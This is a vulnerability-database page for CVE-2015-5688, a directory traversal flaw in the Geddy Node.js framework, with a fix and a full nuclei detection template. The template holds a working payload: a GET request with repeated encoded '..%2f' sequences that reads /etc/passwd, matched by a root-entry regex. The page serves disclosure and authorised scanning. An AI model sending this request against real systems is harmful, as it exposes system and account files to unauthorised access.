HexBrain

Browse / CVEs / CVE-2015-5688

CVE-2015-5688· geddyjs / geddy· CWE-22

Geddy <13.0.8 - Local File Inclusion

mediumseverity
5CVSS score
9.4%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Geddy prior to version 13.0.8 contains a directory traversal vulnerability in lib/app/index.js that allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.

Impact

The vulnerability can be exploited to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.

Fix

Upgrade Geddy to version 13.0.8 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2015-5688 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2015-5688

info:
  name: Geddy <13.0.8 - Local File Inclusion
  author: pikpikcu
  severity: medium
  description: Geddy prior to version 13.0.8 contains a directory traversal vulnerability in lib/app/index.js  that allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.
  impact: |
    The vulnerability can be exploited to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.
  remediation: |
    Upgrade Geddy to version 13.0.8 or later to mitigate the vulnerability.
  reference:
    - https://nodesecurity.io/advisories/geddy-directory-traversal
    - https://github.com/geddy/geddy/issues/697
    - https://github.com/geddy/geddy/commit/2de63b68b3aa6c08848f261ace550a37959ef231
    - https://nvd.nist.gov/vuln/detail/CVE-2015-5688
    - https://github.com/geddy/geddy/pull/699
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-5688
    cwe-id: CWE-22
    epss-score: 0.09385
    epss-percentile: 0.95443
    cpe: cpe:2.3:a:geddyjs:geddy:13.0.7:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: geddyjs
    product: geddy
    framework: node.js
  tags: cve2015,cve,geddy,lfi,geddyjs,node.js,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from